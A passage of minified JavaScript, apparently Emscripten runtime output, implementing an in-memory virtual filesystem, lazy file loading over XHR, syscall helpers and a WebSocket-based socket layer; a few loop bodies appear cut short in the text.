FS.mknod(path,mode,0)},mkdir(path,mode=511){mode&=511|512;mode|=16384;return FS.mknod(path,mode,0)},mkdirTree(path,mode){var dirs=path.split("/");var d="";for(var dir of dirs){if(!dir)continue;if(d||PATH.isAbs(path))d+="/";d+=dir;try{FS.mkdir(d,mode)}catch(e){if(e.errno!=20)throw e}}},mkdev(path,mode,dev){if(typeof dev=="undefined"){dev=mode;mode=438}mode|=8192;return FS.mknod(path,mode,dev)},symlink(oldpath,newpath){if(!PATH_FS.resolve(oldpath)){throw new FS.ErrnoError(44)}var lookup=FS.lookupPath(newpath,{parent:true});var parent=lookup.node;if(!parent){throw new FS.ErrnoError(44)}var newname=PATH.basename(newpath);var errCode=FS.mayCreate(parent,newname);if(errCode){throw new FS.ErrnoError(errCode)}if(!parent.node_ops.symlink){throw new FS.ErrnoError(63)}return parent.node_ops.symlink(parent,newname,oldpath)},rename(old_path,new_path){var old_dirname=PATH.dirname(old_path);var new_dirname=PATH.dirname(new_path);var old_name=PATH.basename(old_path);var new_name=PATH.basename(new_path);var lookup,old_dir,new_dir;lookup=FS.lookupPath(old_path,{parent:true});old_dir=lookup.node;lookup=FS.lookupPath(new_path,{parent:true});new_dir=lookup.node;if(!old_dir||!new_dir)throw new FS.ErrnoError(44);if(old_dir.mount!==new_dir.mount){throw new FS.ErrnoError(75)}var old_node=FS.lookupNode(old_dir,old_name);var relative=PATH_FS.relative(old_path,new_dirname);if(relative.charAt(0)!=="."){throw new FS.ErrnoError(28)}relative=PATH_FS.relative(new_path,old_dirname);if(relative.charAt(0)!=="."){throw new FS.ErrnoError(55)}var new_node;try{new_node=FS.lookupNode(new_dir,new_name)}catch(e){}if(old_node===new_node){return}var isdir=FS.isDir(old_node.mode);var errCode=FS.mayDelete(old_dir,old_name,isdir);if(errCode){throw new FS.ErrnoError(errCode)}errCode=new_node?FS.mayDelete(new_dir,new_name,isdir):FS.mayCreate(new_dir,new_name);if(errCode){throw new FS.ErrnoError(errCode)}if(!old_dir.node_ops.rename){throw new FS.ErrnoError(63)}if(FS.isMountpoint(old_node)||new_node&&FS.isMountpoint(new_node)){throw new FS.ErrnoError(10)}if(new_dir!==old_dir){errCode=FS.nodePermissions(old_dir,"w");if(errCode){throw new FS.ErrnoError(errCode)}}FS.hashRemoveNode(old_node);try{old_dir.node_ops.rename(old_node,new_dir,new_name);old_node.parent=new_dir}catch(e){throw e}finally{FS.hashAddNode(old_node)}},rmdir(path){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);var node=FS.lookupNode(parent,name);var errCode=FS.mayDelete(parent,name,true);if(errCode){throw new FS.ErrnoError(errCode)}if(!parent.node_ops.rmdir){throw new FS.ErrnoError(63)}if(FS.isMountpoint(node)){throw new FS.ErrnoError(10)}parent.node_ops.rmdir(parent,name);FS.destroyNode(node)},readdir(path){var lookup=FS.lookupPath(path,{follow:true});var node=lookup.node;var readdir=FS.checkOpExists(node.node_ops.readdir,54);return readdir(node)},unlink(path){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;if(!parent){throw new FS.ErrnoError(44)}var name=PATH.basename(path);var node=FS.lookupNode(parent,name);var errCode=FS.mayDelete(parent,name,false);if(errCode){throw new FS.ErrnoError(errCode)}if(!parent.node_ops.unlink){throw new FS.ErrnoError(63)}if(FS.isMountpoint(node)){throw new FS.ErrnoError(10)}parent.node_ops.unlink(parent,name);FS.destroyNode(node)},readlink(path){var lookup=FS.lookupPath(path);var link=lookup.node;if(!link){throw new FS.ErrnoError(44)}if(!link.node_ops.readlink){throw new FS.ErrnoError(28)}return link.node_ops.readlink(link)},stat(path,dontFollow){var lookup=FS.lookupPath(path,{follow:!dontFollow});var node=lookup.node;var getattr=FS.checkOpExists(node.node_ops.getattr,63);return getattr(node)},fstat(fd){var stream=FS.getStreamChecked(fd);var node=stream.node;var getattr=stream.stream_ops.getattr;var arg=getattr?stream:node;getattr??=node.node_ops.getattr;FS.checkOpExists(getattr,63);return getattr(arg)},lstat(path){return FS.stat(path,true)},doChmod(stream,node,mode,dontFollow){FS.doSetAttr(stream,node,{mode:mode&4095|node.mode&~4095,ctime:Date.now(),dontFollow})},chmod(path,mode,dontFollow){var node;if(typeof path=="string"){var lookup=FS.lookupPath(path,{follow:!dontFollow});node=lookup.node}else{node=path}FS.doChmod(null,node,mode,dontFollow)},lchmod(path,mode){FS.chmod(path,mode,true)},fchmod(fd,mode){var stream=FS.getStreamChecked(fd);FS.doChmod(stream,stream.node,mode,false)},doChown(stream,node,dontFollow){FS.doSetAttr(stream,node,{timestamp:Date.now(),dontFollow})},chown(path,uid,gid,dontFollow){var node;if(typeof path=="string"){var lookup=FS.lookupPath(path,{follow:!dontFollow});node=lookup.node}else{node=path}FS.doChown(null,node,dontFollow)},lchown(path,uid,gid){FS.chown(path,uid,gid,true)},fchown(fd,uid,gid){var stream=FS.getStreamChecked(fd);FS.doChown(stream,stream.node,false)},doTruncate(stream,node,len){if(FS.isDir(node.mode)){throw new FS.ErrnoError(31)}if(!FS.isFile(node.mode)){throw new FS.ErrnoError(28)}var errCode=FS.nodePermissions(node,"w");if(errCode){throw new FS.ErrnoError(errCode)}FS.doSetAttr(stream,node,{size:len,timestamp:Date.now()})},truncate(path,len){if(len<0){throw new FS.ErrnoError(28)}var node;if(typeof path=="string"){var lookup=FS.lookupPath(path,{follow:true});node=lookup.node}else{node=path}FS.doTruncate(null,node,len)},ftruncate(fd,len){var stream=FS.getStreamChecked(fd);if(len<0||(stream.flags&2097155)===0){throw new FS.ErrnoError(28)}FS.doTruncate(stream,stream.node,len)},utime(path,atime,mtime){var lookup=FS.lookupPath(path,{follow:true});var node=lookup.node;var setattr=FS.checkOpExists(node.node_ops.setattr,63);setattr(node,{atime,mtime})},open(path,flags,mode=438){if(path===""){throw new FS.ErrnoError(44)}flags=typeof flags=="string"?FS_modeStringToFlags(flags):flags;if(flags&64){mode=mode&4095|32768}else{mode=0}var node;var isDirPath;if(typeof path=="object"){node=path}else{isDirPath=path.endsWith("/");var lookup=FS.lookupPath(path,{follow:!(flags&131072),noent_okay:true});node=lookup.node;path=lookup.path}var created=false;if(flags&64){if(node){if(flags&128){throw new FS.ErrnoError(20)}}else if(isDirPath){throw new FS.ErrnoError(31)}else{node=FS.mknod(path,mode|511,0);created=true}}if(!node){throw new FS.ErrnoError(44)}if(FS.isChrdev(node.mode)){flags&=~512}if(flags&65536&&!FS.isDir(node.mode)){throw new FS.ErrnoError(54)}if(!created){var errCode=FS.mayOpen(node,flags);if(errCode){throw new FS.ErrnoError(errCode)}}if(flags&512&&!created){FS.truncate(node,0)}flags&=~(128|512|131072);var stream=FS.createStream({node,path:FS.getPath(node),flags,seekable:true,position:0,stream_ops:node.stream_ops,ungotten:[],error:false});if(stream.stream_ops.open){stream.stream_ops.open(stream)}if(created){FS.chmod(node,mode&511)}if(Module["logReadFiles"]&&!(flags&1)){if(!(path in FS.readFiles)){FS.readFiles[path]=1}}return stream},close(stream){if(FS.isClosed(stream)){throw new FS.ErrnoError(8)}if(stream.getdents)stream.getdents=null;try{if(stream.stream_ops.close){stream.stream_ops.close(stream)}}catch(e){throw e}finally{FS.closeStream(stream.fd)}stream.fd=null},isClosed(stream){return stream.fd===null},llseek(stream,offset,whence){if(FS.isClosed(stream)){throw new FS.ErrnoError(8)}if(!stream.seekable||!stream.stream_ops.llseek){throw new FS.ErrnoError(70)}if(whence!=0&&whence!=1&&whence!=2){throw new FS.ErrnoError(28)}stream.position=stream.stream_ops.llseek(stream,offset,whence);stream.ungotten=[];return stream.position},read(stream,buffer,offset,length,position){if(length<0||position<0){throw new FS.ErrnoError(28)}if(FS.isClosed(stream)){throw new FS.ErrnoError(8)}if((stream.flags&2097155)===1){throw new FS.ErrnoError(8)}if(FS.isDir(stream.node.mode)){throw new FS.ErrnoError(31)}if(!stream.stream_ops.read){throw new FS.ErrnoError(28)}var seeking=typeof position!="undefined";if(!seeking){position=stream.position}else if(!stream.seekable){throw new FS.ErrnoError(70)}var bytesRead=stream.stream_ops.read(stream,buffer,offset,length,position);if(!seeking)stream.position+=bytesRead;return bytesRead},write(stream,buffer,offset,length,position,canOwn){if(length<0||position<0){throw new FS.ErrnoError(28)}if(FS.isClosed(stream)){throw new FS.ErrnoError(8)}if((stream.flags&2097155)===0){throw new FS.ErrnoError(8)}if(FS.isDir(stream.node.mode)){throw new FS.ErrnoError(31)}if(!stream.stream_ops.write){throw new FS.ErrnoError(28)}if(stream.seekable&&stream.flags&1024){FS.llseek(stream,0,2)}var seeking=typeof position!="undefined";if(!seeking){position=stream.position}else if(!stream.seekable){throw new FS.ErrnoError(70)}var bytesWritten=stream.stream_ops.write(stream,buffer,offset,length,position,canOwn);if(!seeking)stream.position+=bytesWritten;return bytesWritten},mmap(stream,length,position,prot,flags){if((prot&2)!==0&&(flags&2)===0&&(stream.flags&2097155)!==2){throw new FS.ErrnoError(2)}if((stream.flags&2097155)===1){throw new FS.ErrnoError(2)}if(!stream.stream_ops.mmap){throw new FS.ErrnoError(43)}if(!length){throw new FS.ErrnoError(28)}return stream.stream_ops.mmap(stream,length,position,prot,flags)},msync(stream,buffer,offset,length,mmapFlags){if(!stream.stream_ops.msync){return 0}return stream.stream_ops.msync(stream,buffer,offset,length,mmapFlags)},ioctl(stream,cmd,arg){if(!stream.stream_ops.ioctl){throw new FS.ErrnoError(59)}return stream.stream_ops.ioctl(stream,cmd,arg)},readFile(path,opts={}){opts.flags=opts.flags||0;opts.encoding=opts.encoding||"binary";if(opts.encoding!=="utf8"&&opts.encoding!=="binary"){abort(`Invalid encoding type "${opts.encoding}"`)}var stream=FS.open(path,opts.flags);var stat=FS.stat(path);var length=stat.size;var buf=new Uint8Array(length);FS.read(stream,buf,0,length,0);if(opts.encoding==="utf8"){buf=UTF8ArrayToString(buf)}FS.close(stream);return buf},writeFile(path,data,opts={}){opts.flags=opts.flags||577;var stream=FS.open(path,opts.flags,opts.mode);if(typeof data=="string"){data=new Uint8Array(intArrayFromString(data,true))}if(ArrayBuffer.isView(data)){FS.write(stream,data,0,data.byteLength,undefined,opts.canOwn)}else{abort("Unsupported data type")}FS.close(stream)},cwd:()=>FS.currentPath,chdir(path){var lookup=FS.lookupPath(path,{follow:true});if(lookup.node===null){throw new FS.ErrnoError(44)}if(!FS.isDir(lookup.node.mode)){throw new FS.ErrnoError(54)}var errCode=FS.nodePermissions(lookup.node,"x");if(errCode){throw new FS.ErrnoError(errCode)}FS.currentPath=lookup.path},createDefaultDirectories(){FS.mkdir("/tmp");FS.mkdir("/home");FS.mkdir("/home/web_user")},createDefaultDevices(){FS.mkdir("/dev");FS.registerDevice(FS.makedev(1,3),{read:()=>0,write:(stream,buffer,offset,length,pos)=>length,llseek:()=>0});FS.mkdev("/dev/null",FS.makedev(1,3));TTY.register(FS.makedev(5,0),TTY.default_tty_ops);TTY.register(FS.makedev(6,0),TTY.default_tty1_ops);FS.mkdev("/dev/tty",FS.makedev(5,0));FS.mkdev("/dev/tty1",FS.makedev(6,0));var randomBuffer=new Uint8Array(1024),randomLeft=0;var randomByte=()=>{if(randomLeft===0){randomFill(randomBuffer);randomLeft=randomBuffer.byteLength}return randomBuffer[--randomLeft]};FS.createDevice("/dev","random",randomByte);FS.createDevice("/dev","urandom",randomByte);FS.mkdir("/dev/shm");FS.mkdir("/dev/shm/tmp")},createSpecialDirectories(){FS.mkdir("/proc");var proc_self=FS.mkdir("/proc/self");FS.mkdir("/proc/self/fd");FS.mount({mount(){var node=FS.createNode(proc_self,"fd",16895,73);node.stream_ops={llseek:MEMFS.stream_ops.llseek};node.node_ops={lookup(parent,name){var fd=+name;var stream=FS.getStreamChecked(fd);var ret={parent:null,mount:{mountpoint:"fake"},node_ops:{readlink:()=>stream.path},id:fd+1};ret.parent=ret;return ret},readdir(){return Array.from(FS.streams.entries()).filter(([k,v])=>v).map(([k,v])=>k.toString())}};return node}},{},"/proc/self/fd")},createStandardStreams(input,output,error){if(input){FS.createDevice("/dev","stdin",input)}else{FS.symlink("/dev/tty","/dev/stdin")}if(output){FS.createDevice("/dev","stdout",null,output)}else{FS.symlink("/dev/tty","/dev/stdout")}if(error){FS.createDevice("/dev","stderr",null,error)}else{FS.symlink("/dev/tty1","/dev/stderr")}var stdin=FS.open("/dev/stdin",0);var stdout=FS.open("/dev/stdout",1);var stderr=FS.open("/dev/stderr",1)},staticInit(){FS.nameTable=new Array(4096);FS.mount(MEMFS,{},"/");FS.createDefaultDirectories();FS.createDefaultDevices();FS.createSpecialDirectories();FS.filesystems={MEMFS}},init(input,output,error){FS.initialized=true;input??=Module["stdin"];output??=Module["stdout"];error??=Module["stderr"];FS.createStandardStreams(input,output,error)},quit(){FS.initialized=false;for(var stream of FS.streams){if(stream){FS.close(stream)}}},findObject(path,dontResolveLastLink){var ret=FS.analyzePath(path,dontResolveLastLink);if(!ret.exists){return null}return ret.object},analyzePath(path,dontResolveLastLink){try{var lookup=FS.lookupPath(path,{follow:!dontResolveLastLink});path=lookup.path}catch(e){}var ret={isRoot:false,exists:false,error:0,name:null,path:null,object:null,parentExists:false,parentPath:null,parentObject:null};try{var lookup=FS.lookupPath(path,{parent:true});ret.parentExists=true;ret.parentPath=lookup.path;ret.parentObject=lookup.node;ret.name=PATH.basename(path);lookup=FS.lookupPath(path,{follow:!dontResolveLastLink});ret.exists=true;ret.path=lookup.path;ret.object=lookup.node;ret.name=lookup.node.name;ret.isRoot=lookup.path==="/"}catch(e){ret.error=e.errno}return ret},createPath(parent,path,canRead,canWrite){parent=typeof parent=="string"?parent:FS.getPath(parent);var parts=path.split("/").reverse();while(parts.length){var part=parts.pop();if(!part)continue;var current=PATH.join2(parent,part);try{FS.mkdir(current)}catch(e){if(e.errno!=20)throw e}parent=current}return current},createFile(parent,name,properties,canRead,canWrite){var path=PATH.join2(typeof parent=="string"?parent:FS.getPath(parent),name);var mode=FS_getMode(canRead,canWrite);return FS.create(path,mode)},createDataFile(parent,name,data,canRead,canWrite,canOwn){var path=name;if(parent){parent=typeof parent=="string"?parent:FS.getPath(parent);path=name?PATH.join2(parent,name):parent}var mode=FS_getMode(canRead,canWrite);var node=FS.create(path,mode);if(data){if(typeof data=="string"){var arr=new Array(data.length);for(var i=0,len=data.length;ithis.length-1||idx<0){return undefined}var chunkOffset=idx%this.chunkSize;var chunkNum=idx/this.chunkSize|0;return this.getter(chunkNum)[chunkOffset]}setDataGetter(getter){this.getter=getter}cacheLength(){var xhr=new XMLHttpRequest;xhr.open("HEAD",url,false);xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))abort("Couldn't load "+url+". Status: "+xhr.status);var datalength=Number(xhr.getResponseHeader("Content-length"));var header;var hasByteServing=(header=xhr.getResponseHeader("Accept-Ranges"))&&header==="bytes";var usesGzip=(header=xhr.getResponseHeader("Content-Encoding"))&&header==="gzip";var chunkSize=1024*1024;if(!hasByteServing)chunkSize=datalength;var doXHR=(from,to)=>{if(from>to)abort("invalid range ("+from+", "+to+") or no bytes requested!");if(to>datalength-1)abort("only "+datalength+" bytes available! programmer error!");var xhr=new XMLHttpRequest;xhr.open("GET",url,false);if(datalength!==chunkSize)xhr.setRequestHeader("Range","bytes="+from+"-"+to);xhr.responseType="arraybuffer";if(xhr.overrideMimeType){xhr.overrideMimeType("text/plain; charset=x-user-defined")}xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))abort("Couldn't load "+url+". Status: "+xhr.status);if(xhr.response!==undefined){return new Uint8Array(xhr.response||[])}return intArrayFromString(xhr.responseText||"",true)};var lazyArray=this;lazyArray.setDataGetter(chunkNum=>{var start=chunkNum*chunkSize;var end=(chunkNum+1)*chunkSize-1;end=Math.min(end,datalength-1);if(typeof lazyArray.chunks[chunkNum]=="undefined"){lazyArray.chunks[chunkNum]=doXHR(start,end)}if(typeof lazyArray.chunks[chunkNum]=="undefined")abort("doXHR failed!");return lazyArray.chunks[chunkNum]});if(usesGzip||!datalength){chunkSize=datalength=1;datalength=this.getter(0).length;chunkSize=datalength;out("LazyFiles on gzip forces download of the whole file when length is accessed")}this._length=datalength;this._chunkSize=chunkSize;this.lengthKnown=true}get length(){if(!this.lengthKnown){this.cacheLength()}return this._length}get chunkSize(){if(!this.lengthKnown){this.cacheLength()}return this._chunkSize}}if(globalThis.XMLHttpRequest){if(!ENVIRONMENT_IS_WORKER)abort("Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc");var lazyArray=new LazyUint8Array;var properties={isDevice:false,contents:lazyArray}}else{var properties={isDevice:false,url}}var node=FS.createFile(parent,name,properties,canRead,canWrite);if(properties.contents){node.contents=properties.contents}else if(properties.url){node.contents=null;node.url=properties.url}Object.defineProperties(node,{usedBytes:{get:function(){return this.contents.length}}});var stream_ops={};for(const[key,fn]of Object.entries(node.stream_ops)){stream_ops[key]=(...args)=>{FS.forceLoadFile(node);return fn(...args)}}function writeChunks(stream,buffer,offset,length,position){var contents=stream.node.contents;if(position>=contents.length)return 0;var size=Math.min(contents.length-position,length);if(contents.slice){for(var i=0;i{FS.forceLoadFile(node);return writeChunks(stream,buffer,offset,length,position)};stream_ops.mmap=(stream,length,position,prot,flags)=>{FS.forceLoadFile(node);var ptr=mmapAlloc(length);if(!ptr){throw new FS.ErrnoError(48)}writeChunks(stream,HEAP8,ptr,length,position);return{ptr,allocated:true}};node.stream_ops=stream_ops;return node}};var UTF8ToString=(ptr,maxBytesToRead,ignoreNul)=>ptr?UTF8ArrayToString(HEAPU8,ptr,maxBytesToRead,ignoreNul):"";var SYSCALLS={DEFAULT_POLLMASK:5,calculateAt(dirfd,path,allowEmpty){if(PATH.isAbs(path)){return path}var dir;if(dirfd===-100){dir=FS.cwd()}else{var dirstream=SYSCALLS.getStreamFromFD(dirfd);dir=dirstream.path}if(path.length==0){if(!allowEmpty){throw new FS.ErrnoError(44)}return dir}return dir+"/"+path},writeStat(buf,stat){HEAPU32[buf>>2]=stat.dev;HEAPU32[buf+4>>2]=stat.mode;HEAPU32[buf+8>>2]=stat.nlink;HEAPU32[buf+12>>2]=stat.uid;HEAPU32[buf+16>>2]=stat.gid;HEAPU32[buf+20>>2]=stat.rdev;HEAP64[buf+24>>3]=BigInt(stat.size);HEAP32[buf+32>>2]=4096;HEAP32[buf+36>>2]=stat.blocks;var atime=stat.atime.getTime();var mtime=stat.mtime.getTime();var ctime=stat.ctime.getTime();HEAP64[buf+40>>3]=BigInt(Math.floor(atime/1e3));HEAPU32[buf+48>>2]=atime%1e3*1e3*1e3;HEAP64[buf+56>>3]=BigInt(Math.floor(mtime/1e3));HEAPU32[buf+64>>2]=mtime%1e3*1e3*1e3;HEAP64[buf+72>>3]=BigInt(Math.floor(ctime/1e3));HEAPU32[buf+80>>2]=ctime%1e3*1e3*1e3;HEAP64[buf+88>>3]=BigInt(stat.ino);return 0},writeStatFs(buf,stats){HEAPU32[buf+4>>2]=stats.bsize;HEAPU32[buf+60>>2]=stats.bsize;HEAP64[buf+8>>3]=BigInt(stats.blocks);HEAP64[buf+16>>3]=BigInt(stats.bfree);HEAP64[buf+24>>3]=BigInt(stats.bavail);HEAP64[buf+32>>3]=BigInt(stats.files);HEAP64[buf+40>>3]=BigInt(stats.ffree);HEAPU32[buf+48>>2]=stats.fsid;HEAPU32[buf+64>>2]=stats.flags;HEAPU32[buf+56>>2]=stats.namelen},doMsync(addr,stream,len,flags,offset){if(!FS.isFile(stream.node.mode)){throw new FS.ErrnoError(43)}if(flags&2){return 0}var buffer=HEAPU8.slice(addr,addr+len);FS.msync(stream,buffer,offset,len,flags)},getStreamFromFD(fd){var stream=FS.getStreamChecked(fd);return stream},varargs:undefined,getStr(ptr){var ret=UTF8ToString(ptr);return ret}};var ___syscall__newselect=function(nfds,readfds,writefds,exceptfds,timeout){try{var total=0;var srcReadLow=readfds?HEAP32[readfds>>2]:0,srcReadHigh=readfds?HEAP32[readfds+4>>2]:0;var srcWriteLow=writefds?HEAP32[writefds>>2]:0,srcWriteHigh=writefds?HEAP32[writefds+4>>2]:0;var srcExceptLow=exceptfds?HEAP32[exceptfds>>2]:0,srcExceptHigh=exceptfds?HEAP32[exceptfds+4>>2]:0;var dstReadLow=0,dstReadHigh=0;var dstWriteLow=0,dstWriteHigh=0;var dstExceptLow=0,dstExceptHigh=0;var allLow=(readfds?HEAP32[readfds>>2]:0)|(writefds?HEAP32[writefds>>2]:0)|(exceptfds?HEAP32[exceptfds>>2]:0);var allHigh=(readfds?HEAP32[readfds+4>>2]:0)|(writefds?HEAP32[writefds+4>>2]:0)|(exceptfds?HEAP32[exceptfds+4>>2]:0);var check=(fd,low,high,val)=>fd<32?low&val:high&val;for(var fd=0;fd>2]:0,tv_usec=readfds?HEAP32[timeout+4>>2]:0;timeoutInMillis=(tv_sec+tv_usec/1e6)*1e3}flags=stream.stream_ops.poll(stream,timeoutInMillis)}if(flags&1&&check(fd,srcReadLow,srcReadHigh,mask)){fd<32?dstReadLow=dstReadLow|mask:dstReadHigh=dstReadHigh|mask;total++}if(flags&4&&check(fd,srcWriteLow,srcWriteHigh,mask)){fd<32?dstWriteLow=dstWriteLow|mask:dstWriteHigh=dstWriteHigh|mask;total++}if(flags&2&&check(fd,srcExceptLow,srcExceptHigh,mask)){fd<32?dstExceptLow=dstExceptLow|mask:dstExceptHigh=dstExceptHigh|mask;total++}}if(readfds){HEAP32[readfds>>2]=dstReadLow;HEAP32[readfds+4>>2]=dstReadHigh}if(writefds){HEAP32[writefds>>2]=dstWriteLow;HEAP32[writefds+4>>2]=dstWriteHigh}if(exceptfds){HEAP32[exceptfds>>2]=dstExceptLow;HEAP32[exceptfds+4>>2]=dstExceptHigh}return total}catch(e){if(typeof FS=="undefined"||!(e.name==="ErrnoError"))throw e;return-e.errno}};var SOCKFS={websocketArgs:{},callbacks:{},on(event,callback){SOCKFS.callbacks[event]=callback},emit(event,param){SOCKFS.callbacks[event]?.(param)},mount(mount){SOCKFS.websocketArgs=Module["websocket"]||{};(Module["websocket"]??={})["on"]=SOCKFS.on;return FS.createNode(null,"/",16895,0)},createSocket(family,type,protocol){if(family!=2){throw new FS.ErrnoError(5)}type&=~526336;if(type!=1&&type!=2){throw new FS.ErrnoError(28)}var streaming=type==1;if(streaming&&protocol&&protocol!=6){throw new FS.ErrnoError(66)}var sock={family,type,protocol,server:null,error:null,peers:{},pending:[],recv_queue:[],sock_ops:SOCKFS.websocket_sock_ops};var name=SOCKFS.nextname();var node=FS.createNode(SOCKFS.root,name,49152,0);node.sock=sock;var stream=FS.createStream({path:name,node,flags:2,seekable:false,stream_ops:SOCKFS.stream_ops});sock.stream=stream;return sock},getSocket(fd){var stream=FS.getStream(fd);if(!stream||!FS.isSocket(stream.node.mode)){return null}return stream.node.sock},stream_ops:{poll(stream){var sock=stream.node.sock;return sock.sock_ops.poll(sock)},ioctl(stream,request,varargs){var sock=stream.node.sock;return sock.sock_ops.ioctl(sock,request,varargs)},read(stream,buffer,offset,length,position){var sock=stream.node.sock;var msg=sock.sock_ops.recvmsg(sock,length);if(!msg){return 0}buffer.set(msg.buffer,offset);return msg.buffer.length},write(stream,buffer,offset,length,position){var sock=stream.node.sock;return sock.sock_ops.sendmsg(sock,buffer,offset,length)},close(stream){var sock=stream.node.sock;sock.sock_ops.close(sock)}},nextname(){if(!SOCKFS.nextname.current){SOCKFS.nextname.current=0}return`socket[${SOCKFS.nextname.current++}]`},websocket_sock_ops:{createPeer(sock,addr,port){var ws;if(typeof addr=="object"){ws=addr;addr=null;port=null}if(ws){if(ws._socket){addr=ws._socket.remoteAddress;port=ws._socket.remotePort}else{var result=/ws[s]?:\/\/([^:]+):(\d+)/.exec(ws.url);if(!result){throw new Error("WebSocket URL must be in the format ws(s)://address:port")}addr=result[1];port=parseInt(result[2],10)}}else{try{var url="ws://".replace("#","//");var subProtocols="binary";var opts=undefined;if(SOCKFS.websocketArgs["url"]){url=SOCKFS.websocketArgs["url"]}if(SOCKFS.websocketArgs["subprotocol"]){subProtocols=SOCKFS.websocketArgs["subprotocol"]}else if(SOCKFS.websocketArgs["subprotocol"]===null){subProtocols="null"}if(url==="ws://"||url==="wss://"){var parts=addr.split("/");url=url+parts[0]+":"+port+"/"+parts.slice(1).join("/")}if(subProtocols!=="null"){subProtocols=subProtocols.replace(/^ +| +$/g,"").split(/ *, */);opts=subProtocols}var WebSocketConstructor;{WebSocketConstructor=WebSocket}ws=new WebSocketConstructor(url,opts);ws.binaryType="arraybuffer"}catch(e){throw new FS.ErrnoError(23)}}var peer={addr,port,socket:ws,msg_send_queue:[]};SOCKFS.websocket_sock_ops.addPeer(sock,peer);SOCKFS.websocket_sock_ops.handlePeerEvents(sock,peer);if(sock.type===2&&typeof sock.sport!="undefined"){peer.msg_send_queue.push(new Uint8Array([255,255,255,255,"p".charCodeAt(0),"o".charCodeAt(0),"r".charCodeAt(0),"t".charCodeAt(0),(sock.sport&65280)>>8,sock.sport&255]))}return peer},getPeer(sock,addr,port){return sock.peers[addr+":"+port]},addPeer(sock,peer){sock.peers[peer.addr+":"+peer.port]=peer},removePeer(sock,peer){delete sock.peers[peer.addr+":"+peer.port]},handlePeerEvents(sock,peer){var first=true;var handleOpen=function(){sock.connecting=false;SOCKFS.emit("open",sock.stream.fd);try{var queued=peer.msg_send_queue.shift();while(queued){peer.socket.send(queued);queued=peer.msg_send_queue.shift()}}catch(e){peer.socket.close()}};function handleMessage(data){if(typeof data=="string"){var encoder=new TextEncoder;data=encoder.encode(data)}else{if(data.byteLength==0){return}data=new Uint8Array(data)}var wasfirst=first;first=false;if(wasfirst&&data.length===10&&data[0]===255&&data[1]===255&&data[2]===255&&data[3]===255&&data[4]==="p".charCodeAt(0)&&data[5]==="o".charCodeAt(0)&&data[6]==="r".charCodeAt(0)&&data[7]==="t".charCodeAt(0)){var newport=data[8]<<8|data[9];SOCKFS.websocket_sock_ops.removePeer(sock,peer);peer.port=newport;SOCKFS.websocket_sock_ops.addPeer(sock,peer);return}sock.recv_queue.push({addr:peer.addr,port:peer.port,data});SOCKFS.emit("message",sock.stream.fd)}if(ENVIRONMENT_IS_NODE){peer.socket.on("open",handleOpen);peer.socket.on("message",function(data,isBinary){if(!isBinary){return}handleMessage(new Uint8Array(data).buffer)});peer.socket.on("close",function(){SOCKFS.emit("close",sock.stream.fd)});peer.socket.on("error",function(error){sock.error=14;SOCKFS.emit("error",[sock.stream.fd,sock.error,"ECONNREFUSED: Connection refused"])})}else{peer.socket.onopen=handleOpen;peer.socket.onclose=function(){SOCKFS.emit("close",sock.stream.fd)};peer.socket.onmessage=function peer_socket_onmessage(event){handleMessage(event.data)};peer.socket.onerror=function(error){sock.error=14;SOCKFS.emit("error",[sock.stream.fd,sock.error,"ECONNREFUSED: Connection refused"])}}},poll(sock){if(sock.type===1&&sock.server){return sock.pending.length?64|1:0}var mask=0;var dest=sock.type===1?SOCKFS.websocket_sock_ops.getPeer(sock,sock.daddr,sock.dport):null;if(sock.recv_queue.length||!dest||dest&&dest.socket.readyState===dest.socket.CLOSING||dest&&dest.socket.readyState===dest.socket.CLOSED){mask|=64|1}if(!dest||dest&&dest.socket.readyState===dest.socket.OPEN){mask|=4}if(dest&&dest.socket.readyState===dest.socket.CLOSING||dest&&dest.socket.readyState===dest.socket.CLOSED){if(sock.connecting){mask|=4}else{mask|=16}}return mask},ioctl(sock,request,arg){switch(request){case 21531:var bytes=0;if(sock.recv_queue.length){bytes=sock.recv_queue[0].data.length}HEAP32[arg>>2]=bytes;return 0;case 21537:var on=HEAP32[arg>>2];if(on){sock.stream.flags|=2048}else{sock.stream.flags&=~2048}return 0;default:return 28}},close(sock){if(sock.server){try{sock.server.close()}catch(e){}sock.server=null}for(var peer of Object.values(sock.peers)){try{peer.socket.close()}catch(e){}SOCKFS.websocket_sock_ops.removePeer(sock,peer)}return 0},bind(sock,addr,port){if(typeof sock.saddr!="undefined"||typeof sock.sport!="undefined"){throw new FS.ErrnoError(28)}sock.saddr=addr;sock.sport=port;if(sock.type===2){if(sock.server){sock.server.close();sock.server=null}try{sock.sock_ops.listen(sock,0)}catch(e){if(!(e.name==="ErrnoError"))throw e;if(e.errno!==138)throw e}}},connect(sock,addr,port){if(sock.server){throw new FS.ErrnoError(138)}if(typeof sock.daddr!="undefined"&&typeof sock.dport!="undefined"){var dest=SOCKFS.websocket_sock_ops.getPeer(sock,sock.daddr,sock.dport);if(dest){if(dest.socket.readyState===dest.socket.CONNECTING){throw new FS.ErrnoError(7)}else{throw new FS.ErrnoError(30)}}}var peer=SOCKFS.websocket_sock_ops.createPeer(sock,addr,port);sock.daddr=peer.addr;sock.dport=peer.port;sock.connecting=true},listen(sock,backlog){if(!ENVIRONMENT_IS_NODE){throw new FS.ErrnoError(138)}},accept(listensock){if(!listensock.server||!listensock.pending.length){throw new FS.ErrnoError(28)}var newsock=listensock.pending.shift();newsock.stream.flags=listensock.stream.flags;return newsock},getname(sock,peer){var addr,port;if(peer){if(sock.daddr===undefined||sock.dport===undefined){throw new FS.ErrnoError(53)}addr=sock.daddr;port=sock.dport}else{addr=sock.saddr||0;port=sock.sport||0}return{addr,port}},sendmsg(sock,buffer,offset,length,addr,port){if(sock.type===2){if(addr===undefined||port===undefined){addr=sock.daddr;port=sock.dport}if(addr===undefined||port===undefined){throw new FS.ErrnoError(17)}}else{addr=sock.daddr;port=sock.dport}var dest=SOCKFS.websocket_sock_ops.getPeer(sock,addr,port);if(sock.type===1){if(!dest||dest.socket.readyState===dest.socket.CLOSING||dest.socket.readyState===dest.socket.CLOSED){throw new FS.ErrnoError(53)}}if(ArrayBuffer.isView(buffer)){offset+=buffer.byteOffset;buffer=buffer.buffer}var 